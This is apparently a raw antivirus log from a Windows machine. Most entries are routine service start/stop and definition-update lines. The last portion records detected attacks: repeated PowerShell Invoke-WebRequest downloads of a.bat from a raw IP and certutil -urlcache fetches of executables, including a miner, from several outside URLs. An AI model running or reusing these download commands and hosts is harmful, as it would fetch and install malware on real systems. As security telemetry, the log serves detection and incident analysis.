03:23:33 AVAVER: 21.2.2455 AR2: 250226 defs: 25030308 2025-03-04 03:23:33 ARPOT2: Start 4308 2025-03-04 03:23:33 AVAVER: 21.2.2455 AR2: 250226 defs: 25030308 2025-03-04 03:23:33 ARPOT2: Start 4328 2025-03-04 03:31:56 AR2CFG: 250226 2025-03-04 03:31:56 AR2DEV: Start 1 Driver: 210305 2025-03-04 09:16:31 AR2DEV: Stopped 1 2025-03-04 09:16:31 AVAVER: 21.2.2455 AR2: 250226 defs: 25030310 2025-03-04 09:16:31 ARPOT2: Start 6944 2025-03-04 09:16:31 AVAVER: 21.2.2455 AR2: 250226 defs: 25030310 2025-03-04 09:16:31 ARPOT2: Start 4708 2025-03-04 09:16:31 AR2CFG: 250226 2025-03-04 09:16:31 AR2DEV: Start 1 Driver: 210305 2025-03-04 17:12:53 AVAVER: 21.2.2455 AR2: 250226 defs: 25030310 2025-03-04 17:12:53 ARPOT2: Start 7236 2025-03-04 17:12:53 AR2CFG: 250226 2025-03-04 17:12:53 AR2DEV: Start 1 Driver: 210305 2025-03-04 17:13:42 AR2DEV: Stopped 1 2025-03-04 17:13:42 AVAVER: 21.2.2455 AR2: 250226 defs: 25030400 2025-03-04 17:13:42 ARPOT2: Start 4024 2025-03-04 17:13:42 AR2CFG: 250226 2025-03-04 17:13:42 AR2DEV: Start 1 Driver: 210305 2025-03-04 17:13:42 AR2DEV: Stopped 1 2025-03-04 17:13:42 AVAVER: 21.2.2455 AR2: 250226 defs: 25030400 2025-03-04 17:13:42 ARPOT2: Start 5272 2025-03-04 17:13:42 AR2CFG: 250226 2025-03-04 17:13:42 AR2DEV: Start 1 Driver: 210305 2025-03-04 21:15:23 AR2DEV: Stopped 1 2025-03-04 21:15:23 AVAVER: 21.2.2455 AR2: 250226 defs: 25030402 2025-03-04 21:15:23 ARPOT2: Start 6460 2025-03-04 21:15:23 AR2CFG: 250226 2025-03-04 21:15:23 AR2DEV: Start 1 Driver: 210305 2025-03-04 21:15:23 AR2DEV: Stopped 1 2025-03-04 21:15:23 AVAVER: 21.2.2455 AR2: 250226 defs: 25030402 2025-03-04 21:15:23 ARPOT2: Start 6392 2025-03-04 21:15:23 AR2CFG: 250226 2025-03-04 21:15:23 AR2DEV: Start 1 Driver: 210305 2025-03-05 01:16:53 AR2DEV: Stopped 1 2025-03-05 01:16:53 AVAVER: 21.2.2455 AR2: 250226 defs: 25030408 2025-03-05 01:16:53 ARPOT2: Start 3668 2025-03-05 01:16:53 AVAVER: 21.2.2455 AR2: 250226 defs: 25030408 2025-03-05 01:16:53 ARPOT2: Start 1280 2025-03-05 01:16:53 AR2CFG: 250226 2025-03-05 01:16:53 AR2DEV: Start 1 Driver: 210305 2025-03-05 04:32:49 AR2DEV: Stopped 1 2025-03-05 04:32:49 AVAVER: 21.2.2455 AR2: 250226 defs: 25030410 2025-03-05 04:32:49 ARPOT2: Start 716 2025-03-05 04:32:49 AR2CFG: 250226 2025-03-05 04:32:49 AR2DEV: Start 1 Driver: 210305 2025-03-05 04:32:49 AR2DEV: Stopped 1 2025-03-05 04:32:49 AVAVER: 21.2.2455 AR2: 250226 defs: 25030410 2025-03-05 04:32:49 ARPOT2: Start 2596 2025-03-05 04:32:49 AR2CFG: 250226 2025-03-05 04:32:49 AR2DEV: Start 1 Driver: 210305 2025-03-05 18:15:31 AVAVER: 21.2.2455 AR2: 250226 defs: 25030410 2025-03-05 18:15:31 ARPOT2: Start 6928 2025-03-05 18:15:31 AR2CFG: 250226 2025-03-05 18:15:31 AR2DEV: Start 1 Driver: 210305 2025-04-03 16:16:43 AVAVER: 21.2.2455 AR2: 250226 defs: 25030410 2025-04-03 16:16:44 ARPOT2: Start 2144 2025-04-03 16:20:44 AVAVER: 21.2.2455 AR2: 250326 defs: 25040204 2025-04-03 16:20:44 ARPOT2: Start 3540 2025-04-03 16:20:44 AVAVER: 21.2.2455 AR2: 250326 defs: 25040204 2025-04-03 16:20:44 ARPOT2: Start 4596 2025-04-03 16:26:06 AR2CFG: 250321 2025-04-03 16:26:06 AR2DEV: Start 1 Driver: 210305 2025-04-04 04:26:09 AR2DEV: Stopped 1 2025-04-04 04:26:09 AVAVER: 21.2.2455 AR2: 250326 defs: 25040308 2025-04-04 04:26:09 ARPOT2: Start 5812 2025-04-04 04:26:09 AR2CFG: 250321 2025-04-04 04:26:09 AR2DEV: Start 1 Driver: 210305 2025-04-04 04:26:09 AR2DEV: Stopped 1 2025-04-04 04:26:09 AVAVER: 21.2.2455 AR2: 250326 defs: 25040308 2025-04-04 04:26:09 ARPOT2: Start 3988 2025-04-04 04:26:09 AR2CFG: 250321 2025-04-04 04:26:09 AR2DEV: Start 1 Driver: 210305 2025-04-04 16:27:54 AR2DEV: Stopped 1 2025-04-04 16:27:54 AVAVER: 21.2.2455 AR2: 250326 defs: 25040400 2025-04-04 16:27:54 ARPOT2: Start 3920 2025-04-04 16:27:54 AR2CFG: 250321 2025-04-04 16:27:54 AR2DEV: Start 1 Driver: 210305 2025-04-04 16:27:54 AR2DEV: Stopped 1 2025-04-04 16:27:54 AVAVER: 21.2.2455 AR2: 250326 defs: 25040400 2025-04-04 16:27:54 ARPOT2: Start 1852 2025-04-04 16:27:54 AR2CFG: 250321 2025-04-04 16:27:54 AR2DEV: Start 1 Driver: 210305 2025-04-05 00:29:28 AR2DEV: Stopped 1 2025-04-05 00:29:28 AVAVER: 21.2.2455 AR2: 250326 defs: 25040406 2025-04-05 00:29:28 ARPOT2: Start 5236 2025-04-05 00:29:28 AR2CFG: 250404 VPS 2025-04-05 00:29:28 AR2DEV: Start 1 Driver: 210305 2025-04-05 00:29:28 AR2DEV: Stopped 1 2025-04-05 00:29:28 AVAVER: 21.2.2455 AR2: 250326 defs: 25040406 2025-04-05 00:29:28 ARPOT2: Start 1996 2025-04-05 00:29:28 AR2CFG: 250404 VPS 2025-04-05 00:29:28 AR2DEV: Start 1 Driver: 210305 2025-04-05 14:57:26 AR2DEV: Stopped 1 2025-04-05 14:57:26 AVAVER: 21.2.2455 AR2: 250326 defs: 25040500 2025-04-05 14:57:26 ARPOT2: Start 6432 2025-04-05 14:57:26 AR2CFG: 250404 VPS 2025-04-05 14:57:26 AR2DEV: Start 1 Driver: 210305 2025-04-05 14:57:30 AR2DEV: Stopped 1 2025-04-05 14:57:30 AVAVER: 21.2.2455 AR2: 250326 defs: 25040500 2025-04-05 14:57:30 ARPOT2: Start 6184 2025-04-05 14:57:30 AR2CFG: 250404 VPS 2025-04-05 14:57:30 AR2DEV: Start 1 Driver: 210305 2025-04-05 18:58:55 AR2DEV: Stopped 1 2025-04-05 18:58:55 AVAVER: 21.2.2455 AR2: 250326 defs: 25040502 2025-04-05 18:58:55 ARPOT2: Start 6828 2025-04-05 18:58:55 AR2CFG: 250404 VPS 2025-04-05 18:58:55 AR2DEV: Start 1 Driver: 210305 2025-04-05 18:58:56 AR2DEV: Stopped 1 2025-04-05 18:58:56 AVAVER: 21.2.2455 AR2: 250326 defs: 25040502 2025-04-05 18:58:56 ARPOT2: Start 4656 2025-04-05 18:58:56 AR2CFG: 250404 VPS 2025-04-05 18:58:56 AR2DEV: Start 1 Driver: 210305 2025-04-06 03:00:20 AR2DEV: Stopped 1 2025-04-06 03:00:20 AVAVER: 21.2.2455 AR2: 250326 defs: 25040506 2025-04-06 03:00:20 ARPOT2: Start 7036 2025-04-06 03:00:20 AR2CFG: 250404 VPS 2025-04-06 03:00:20 AR2DEV: Start 1 Driver: 210305 2025-04-06 03:00:20 AR2DEV: Stopped 1 2025-04-06 03:00:20 AVAVER: 21.2.2455 AR2: 250326 defs: 25040506 2025-04-06 03:00:20 ARPOT2: Start 4412 2025-04-06 03:00:20 AR2CFG: 250404 VPS 2025-04-06 03:00:20 AR2DEV: Start 1 Driver: 210305 2025-04-06 15:02:06 AR2DEV: Stopped 1 2025-04-06 15:02:06 AVAVER: 21.2.2455 AR2: 250326 defs: 25040600 2025-04-06 15:02:06 ARPOT2: Start 6488 2025-04-06 15:02:06 AR2CFG: 250404 VPS 2025-04-06 15:02:06 AR2DEV: Start 1 Driver: 210305 2025-04-06 15:02:06 AR2DEV: Stopped 1 2025-04-06 15:02:06 AVAVER: 21.2.2455 AR2: 250326 defs: 25040600 2025-04-06 15:02:06 ARPOT2: Start 6652 2025-04-06 15:02:06 AR2CFG: 250404 VPS 2025-04-06 15:02:06 AR2DEV: Start 1 Driver: 210305 2025-04-06 19:03:34 AR2DEV: Stopped 1 2025-04-06 19:03:34 AVAVER: 21.2.2455 AR2: 250326 defs: 25040602 2025-04-06 19:03:34 ARPOT2: Start 6488 2025-04-06 19:03:34 AR2CFG: 250404 VPS 2025-04-06 19:03:34 AR2DEV: Start 1 Driver: 210305 2025-04-06 19:03:34 AR2DEV: Stopped 1 2025-04-06 19:03:34 AVAVER: 21.2.2455 AR2: 250326 defs: 25040602 2025-04-06 19:03:34 ARPOT2: Start 6232 2025-04-06 19:03:34 AR2CFG: 250404 VPS 2025-04-06 19:03:34 AR2DEV: Start 1 Driver: 210305 2025-04-07 03:04:58 AR2DEV: Stopped 1 2025-04-07 03:04:58 AVAVER: 21.2.2455 AR2: 250326 defs: 25040604 2025-04-07 03:04:58 ARPOT2: Start 2864 2025-04-07 03:04:58 AR2CFG: 250404 VPS 2025-04-07 03:04:58 AR2DEV: Start 1 Driver: 210305 2025-04-07 03:04:58 AR2DEV: Stopped 1 2025-04-07 03:04:58 AVAVER: 21.2.2455 AR2: 250326 defs: 25040604 2025-04-07 03:04:58 ARPOT2: Start 640 2025-04-07 03:04:58 AR2CFG: 250404 VPS 2025-04-07 03:04:58 AR2DEV: Start 1 Driver: 210305 2025-04-07 15:06:27 AR2DEV: Stopped 1 2025-04-07 15:06:27 AVAVER: 21.2.2455 AR2: 250326 defs: 25040700 2025-04-07 15:06:27 ARPOT2: Start 7756 2025-04-07 15:06:27 AR2CFG: 250404 VPS 2025-04-07 15:06:28 AR2DEV: Start 1 Driver: 210305 2025-04-07 15:06:29 AR2DEV: Stopped 1 2025-04-07 15:06:29 AVAVER: 21.2.2455 AR2: 250326 defs: 25040700 2025-04-07 15:06:29 ARPOT2: Start 6936 2025-04-07 15:06:29 AR2CFG: 250404 VPS 2025-04-07 15:06:29 AR2DEV: Start 1 Driver: 210305 2025-04-07 19:08:00 AR2DEV: Stopped 1 2025-04-07 19:08:01 AVAVER: 21.2.2455 AR2: 250326 defs: 25040702 2025-04-07 19:08:01 ARPOT2: Start 7584 2025-04-07 19:08:01 AVAVER: 21.2.2455 AR2: 250326 defs: 25040702 2025-04-07 19:08:01 ARPOT2: Start 7604 2025-04-07 19:08:01 AR2CFG: 250404 VPS 2025-04-07 19:08:01 AR2DEV: Start 1 Driver: 210305 2025-04-08 03:09:34 AR2DEV: Stopped 1 2025-04-08 03:09:34 AVAVER: 21.2.2455 AR2: 250326 defs: 25040704 2025-04-08 03:09:34 ARPOT2: Start 7232 2025-04-08 03:09:34 AR2CFG: 250404 VPS 2025-04-08 03:09:34 AR2DEV: Start 1 Driver: 210305 2025-04-08 03:09:35 AR2DEV: Stopped 1 2025-04-08 03:09:35 AVAVER: 21.2.2455 AR2: 250326 defs: 25040704 2025-04-08 03:09:35 ARPOT2: Start 6340 2025-04-08 03:09:35 AR2CFG: 250404 VPS 2025-04-08 03:09:35 AR2DEV: Start 1 Driver: 210305 2025-04-08 17:26:34 AVAVER: 21.2.2455 AR2: 250326 defs: 25040704 2025-04-08 17:26:35 ARPOT2: Start 1244 2025-04-08 17:26:35 AR2CFG: 250404 VPS 2025-04-08 17:26:35 AR2DEV: Start 1 Driver: 210305 2025-04-08 21:27:25 AR2DEV: Stopped 1 2025-04-08 21:27:25 AVAVER: 21.2.2455 AR2: 250404 defs: 25040802 2025-04-08 21:27:25 ARPOT2: Start 6340 2025-04-08 21:27:25 AR2CFG: 250404 2025-04-08 21:27:25 AR2DEV: Start 1 Driver: 210305 2025-04-08 21:27:25 AR2DEV: Stopped 1 2025-04-08 21:27:25 AVAVER: 21.2.2455 AR2: 250404 defs: 25040802 2025-04-08 21:27:25 ARPOT2: Start 4132 2025-04-08 21:27:25 AR2CFG: 250404 2025-04-08 21:27:25 AR2DEV: Start 1 Driver: 210305 2025-04-09 01:28:41 AR2DEV: Stopped 1 2025-04-09 01:28:41 AVAVER: 21.2.2455 AR2: 250408 defs: 25040804 2025-04-09 01:28:41 ARPOT2: Start 7760 2025-04-09 01:28:41 AR2CFG: 250404 2025-04-09 01:28:41 AR2DEV: Start 1 Driver: 210305 2025-04-09 01:28:41 AR2DEV: Stopped 1 2025-04-09 01:28:41 AVAVER: 21.2.2455 AR2: 250408 defs: 25040804 2025-04-09 01:28:41 ARPOT2: Start 7556 2025-04-09 01:28:41 AR2CFG: 250404 2025-04-09 01:28:41 AR2DEV: Start 1 Driver: 210305 2025-04-09 13:30:11 AR2DEV: Stopped 1 2025-04-09 13:30:11 AVAVER: 21.2.2455 AR2: 250408 defs: 25040900 2025-04-09 13:30:11 ARPOT2: Start 7824 2025-04-09 13:30:11 AR2CFG: 250404 2025-04-09 13:30:11 AR2DEV: Start 1 Driver: 210305 2025-04-09 13:30:11 AR2DEV: Stopped 1 2025-04-09 13:30:11 AVAVER: 21.2.2455 AR2: 250408 defs: 25040900 2025-04-09 13:30:11 ARPOT2: Start 2008 2025-04-09 13:30:11 AR2CFG: 250404 2025-04-09 13:30:12 AR2DEV: Start 1 Driver: 210305 2025-04-10 01:31:40 AR2DEV: Stopped 1 2025-04-10 01:31:40 AVAVER: 21.2.2455 AR2: 250408 defs: 25040904 2025-04-10 01:31:40 ARPOT2: Start 2100 2025-04-10 01:31:40 AR2CFG: 250404 2025-04-10 01:31:40 AR2DEV: Start 1 Driver: 210305 2025-04-10 01:31:40 AR2DEV: Stopped 1 2025-04-10 01:31:40 AVAVER: 21.2.2455 AR2: 250408 defs: 25040904 2025-04-10 01:31:40 ARPOT2: Start 7552 2025-04-10 01:31:40 AR2CFG: 250404 2025-04-10 01:31:40 AR2DEV: Start 1 Driver: 210305 2025-04-10 18:01:17 AR2DEV: Stopped 1 2025-04-10 18:01:20 AVAVER: 21.2.2455 AR2: 250409 defs: 25041002 2025-04-10 18:01:20 ARPOT2: Start 3760 2025-04-10 18:01:20 AR2CFG: 250409 2025-04-10 18:01:20 AR2DEV: Start 1 Driver: 210305 2025-04-10 18:01:27 AR2DEV: Stopped 1 2025-04-10 18:01:27 AVAVER: 21.2.2455 AR2: 250409 defs: 25041002 2025-04-10 18:01:27 ARPOT2: Start 7828 2025-04-10 18:01:27 AR2CFG: 250409 2025-04-10 18:01:30 AR2DEV: Start 1 Driver: 210305 2025-04-10 21:48:48 AVAVER: 21.2.2455 AR2: 250409 defs: 25041002 2025-04-10 21:48:48 ARPOT2: Start 2556 2025-04-10 21:48:48 AR2CFG: 250409 2025-04-10 21:48:48 AR2DEV: Start 1 Driver: 210305 2025-04-11 01:54:44 AR2DEV: Stopped 1 2025-04-11 01:54:44 AVAVER: 21.2.2455 AR2: 250409 defs: 25041006 2025-04-11 01:54:44 ARPOT2: Start 2104 2025-04-11 01:54:44 AR2CFG: 250409 2025-04-11 01:54:44 AR2DEV: Start 1 Driver: 210305 2025-04-11 01:54:44 AR2DEV: Stopped 1 2025-04-11 01:54:44 AVAVER: 21.2.2455 AR2: 250409 defs: 25041006 2025-04-11 01:54:44 ARPOT2: Start 7452 2025-04-11 01:54:44 AR2CFG: 250409 2025-04-11 01:54:45 AR2DEV: Start 1 Driver: 210305 2025-04-11 15:56:02 AR2DEV: Stopped 1 2025-04-11 15:56:02 AVAVER: 21.2.2455 AR2: 250409 defs: 25041100 2025-04-11 15:56:02 ARPOT2: Start 6252 2025-04-11 15:56:02 AR2CFG: 250409 2025-04-11 15:56:02 AR2DEV: Start 1 Driver: 210305 2025-04-11 15:56:03 AR2DEV: Stopped 1 2025-04-11 15:56:03 AVAVER: 21.2.2455 AR2: 250409 defs: 25041100 2025-04-11 15:56:03 ARPOT2: Start 9004 2025-04-11 15:56:03 AR2CFG: 250409 2025-04-11 15:56:03 AR2DEV: Start 1 Driver: 210305 2025-04-11 19:57:14 AR2DEV: Stopped 1 2025-04-11 19:57:14 AVAVER: 21.2.2455 AR2: 250409 defs: 25041102 2025-04-11 19:57:14 ARPOT2: Start 6900 2025-04-11 19:57:14 AR2CFG: 250409 2025-04-11 19:57:14 AR2DEV: Start 1 Driver: 210305 2025-04-11 19:57:16 AR2DEV: Stopped 1 2025-04-11 19:57:16 AVAVER: 21.2.2455 AR2: 250409 defs: 25041102 2025-04-11 19:57:16 ARPOT2: Start 6896 2025-04-11 19:57:16 AR2CFG: 250409 2025-04-11 19:57:16 AR2DEV: Start 1 Driver: 210305 2025-04-11 23:58:27 AR2DEV: Stopped 1 2025-04-11 23:58:27 AVAVER: 21.2.2455 AR2: 250409 defs: 25041104 2025-04-11 23:58:27 ARPOT2: Start 7388 2025-04-11 23:58:27 AR2CFG: 250409 2025-04-11 23:58:27 AR2DEV: Start 1 Driver: 210305 2025-04-11 23:58:29 AR2DEV: Stopped 1 2025-04-11 23:58:29 AVAVER: 21.2.2455 AR2: 250409 defs: 25041104 2025-04-11 23:58:29 ARPOT2: Start 2980 2025-04-11 23:58:29 AR2CFG: 250409 2025-04-11 23:58:29 AR2DEV: Start 1 Driver: 210305 2025-04-12 03:59:34 AR2DEV: Stopped 1 2025-04-12 03:59:34 AVAVER: 21.2.2455 AR2: 250409 defs: 25041106 2025-04-12 03:59:34 ARPOT2: Start 8544 2025-04-12 03:59:34 AR2CFG: 250409 2025-04-12 03:59:34 AR2DEV: Start 1 Driver: 210305 2025-04-12 03:59:34 AR2DEV: Stopped 1 2025-04-12 03:59:34 AVAVER: 21.2.2455 AR2: 250409 defs: 25041106 2025-04-12 03:59:34 ARPOT2: Start 8396 2025-04-12 03:59:34 AR2CFG: 250409 2025-04-12 03:59:34 AR2DEV: Start 1 Driver: 210305 2025-04-12 10:42:38 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://87.121.84.209/a.bat' -OutFile 'a.bat'" (null) 2025-04-12 10:59:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://87.121.84.209/a.bat' -OutFile 'a.bat'" (null) 2025-04-12 11:32:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://87.121.84.209/a.bat' -OutFile 'a.bat'" (null) 2025-04-12 21:38:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://87.121.84.209/a.bat' -OutFile 'a.bat'" (null) 2025-04-12 21:38:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://87.121.84.209/a.bat' -OutFile 'a.bat'" (null) 2025-04-12 21:38:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://87.121.84.209/a.bat' -OutFile 'a.bat'" (null) 2025-04-12 21:41:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://87.121.84.209/a.bat' -OutFile 'a.bat'" (null) 2025-04-12 21:41:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://87.121.84.209/a.bat' -OutFile 'a.bat'" (null) 2025-04-12 21:41:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://87.121.84.209/a.bat' -OutFile 'a.bat'" (null) 2025-04-12 21:44:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://87.121.84.209/a.bat' -OutFile 'a.bat'" (null) 2025-04-12 22:12:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://87.121.84.209/a.bat' -OutFile 'a.bat'" (null) 2025-04-12 22:29:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://87.121.84.209/a.bat' -OutFile 'a.bat'" (null) 2025-04-14 13:32:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://87.121.84.209/a.bat' -OutFile 'a.bat'" (null) 2025-04-14 13:32:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://87.121.84.209/a.bat' -OutFile 'a.bat'" (null) 2025-04-14 13:32:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://87.121.84.209/a.bat' -OutFile 'a.bat'" (null) 2025-04-14 13:32:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://87.121.84.209/a.bat' -OutFile 'a.bat'" (null) 2025-04-29 19:13:53 NOTIFY: SUSPIC C:\Users\User\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C3A375506844A3675CF50972CB04A124 C:\Windows\system32\certutil.exe -urlcache -split -f http://abbeglasses.s3.amazonaws.com:80/kWc4l5 C:/Users/Public/Downloads/1.exe Win64:MalwareX-gen [Misc]|PPH00093429648D000D1D3D15C200124137BFC500131F4C0628|agdp 2025-04-29 19:13:53 FILESU: C:\Windows\system32\certutil.exe VIR:0 SIGN:0 2025-04-29 19:13:57 NOTIFY: SUSPIC C:\Users\Public\Downloads\1.exe C:\Windows\system32\certutil.exe -urlcache -split -f http://abbeglasses.s3.amazonaws.com:80/kWc4l5 C:/Users/Public/Downloads/1.exe Win64:MalwareX-gen [Misc]|PPH00093429648D000D1D3D15C200124137BFC500131F4C0628|agdp 2025-04-29 19:13:57 FILESU: C:\Windows\system32\certutil.exe VIR:0 SIGN:0 2025-04-29 19:17:53 NOTIFY: SUSPIC C:\Users\User\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\A316DF94E37B0CE029517EF2B6DE2113 C:\Windows\system32\certutil.exe -urlcache -split -f http://promptify.s3.amazonaws.com:80/JfOIx3L C:/Users/Public/Downloads/1.exe Win64:MalwareX-gen [Misc]|PPH00093429648D000D1D3D15C200124137BFC500131F4C0628|agdp 2025-04-29 19:17:54 FILESU: C:\Windows\system32\certutil.exe VIR:0 SIGN:0 2025-05-04 07:48:21 NOTIFY: SUSPIC C:\Users\User\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\EC6723BE67CCE6064E968ACC669CBBB8 C:\Windows\system32\certutil.exe -URLCache -split -f http://softwareshop.win/x/ramjavawindows.exe ramjavawindows.exe Win32:MalwareX-gen [Miner]|PPH00142F39A41700164BC739B300164C9058B90016C66D0FE8|agdp 2025-05-04 07:48:23 FILESU: C:\Windows\system32\certutil.exe VIR:0 SIGN:0 2025-07-01 14:28:37 NOTIFY: SUSPIC C:\Users\User\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1B5706DFA66EAE6E6863145DD4BA7A0B C:\Windows\system32\certutil.exe -urlcache -split -f http://spyne-test.s3.amazonaws.com/4RxZBFeEedXj5 C:/Users/Public/Downloads/1.exe Win32:APPE-PR|3607f6357427b663|arpot 2025-07-01 14:28:38 FILESU: C:\Windows\system32\certutil.exe VIR:0 SIGN:0 2025-07-01 14:28:42 NOTIFY: SUSPIC C:\Users\Public\Downloads\1.exe C:\Windows\system32\certutil.exe -urlcache -split -f http://spyne-test.s3.amazonaws.com/4RxZBFeEedXj5 C:/Users/Public/Downloads/1.exe Win32:APPE-PR|afd397a82dead522|arpot 2025-07-01 14:28:42 FILESU: C:\Windows\system32\certutil.exe VIR:0 SIGN:0 2025-07-01 14:28:43 NOTIFY: SUSPIC C:\Users\Public\Downloads\1.exe C:\Windows\system32\certutil.exe -urlcache -split -f http://spyne-test.s3.amazonaws.com/4RxZBFeEedXj5 C:/Users/Public/Downloads/1.exe Win32:APPE-SP|afd397a82dead522|arpot 2025-07-01 14:28:43 FILESU: C:\Windows\system32\certutil.exe VIR:0 SIGN:0 2025-07-01 14:34:10 NOTIFY: SUSPIC C:\Users\User\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\A199E1411A5EC35B66DB1654E45C8A22 C:\Windows\system32\certutil.exe -urlcache -split -f http://gtisstorage.s3.amazonaws.com/j3XKBVLe34 C:/Users/Public/Downloads/1.exe Win32:APPE-PR|b0b6a80b985ffc0a|arpot 2025-07-01 14:34:10 FILESU: C:\Windows\system32\certutil.exe VIR:0 SIGN:0 2025-07-13 09:54:10 NOTIFY: SUSPIC C:\xampp\php\safes.exe C:\Windows\system32\certutil -urlcache -split -f "http://110.42.61.179:444/x64.exe" safes.exe Win32:Agent-BDWA [Drp]|Always|mult 2025-07-13 09:54:11 FILESU: C:\Windows\system32\certutil.exe VIR:0 SIGN:0